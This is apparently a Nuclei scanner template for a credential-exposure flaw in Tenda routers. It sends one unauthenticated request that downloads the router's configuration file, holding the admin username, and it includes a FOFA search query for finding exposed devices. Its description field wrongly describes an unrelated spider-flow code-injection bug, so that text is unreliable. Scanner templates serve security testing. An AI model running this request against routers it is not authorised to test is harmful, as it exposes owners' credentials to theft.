id: tendat-credential

info:
  name: Tendat Router Credential - Exposure
  author: pussycat0x
  severity: high
  description: |
    A vulnerability, which was classified as critical, was found in spider-flow 0.4.3. Affected is the function FunctionService.saveFunction of the file src/main/java/org/spiderflow/controller/FunctionController.java. The manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249510 is the identifier assigned to this vulnerability.
  reference:
    - https://github.com/wy876/POC/blob/main/Tenda%E8%B7%AF%E7%94%B1%E5%99%A8%E8%B4%A6%E5%8F%B7%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2.md
  classification:
    cpe: cpe:2.3:h:tendacn:g0:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tendacn
    product: g0
    fofa-query: "title=\"Tenda | LOGIN\" && country=\"CN\""
  tags: tendat,exposure,config

http:
  - raw:
      - |
        GET /cgi-bin/DownloadCfg/RouterCfm.jpg HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "http_username", "device_remark")'
          - 'contains(header, "config/conf")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100ad49b684a59e2b878493a44fd328ffec57b6cf68aa2661fef76951c77d1ba5c7022065b3dafe0a002e48dd86a3a7928f0154d6014c99e9ec57a48630c48a50e10adb:922c64590222798bb761d5b6d8e72950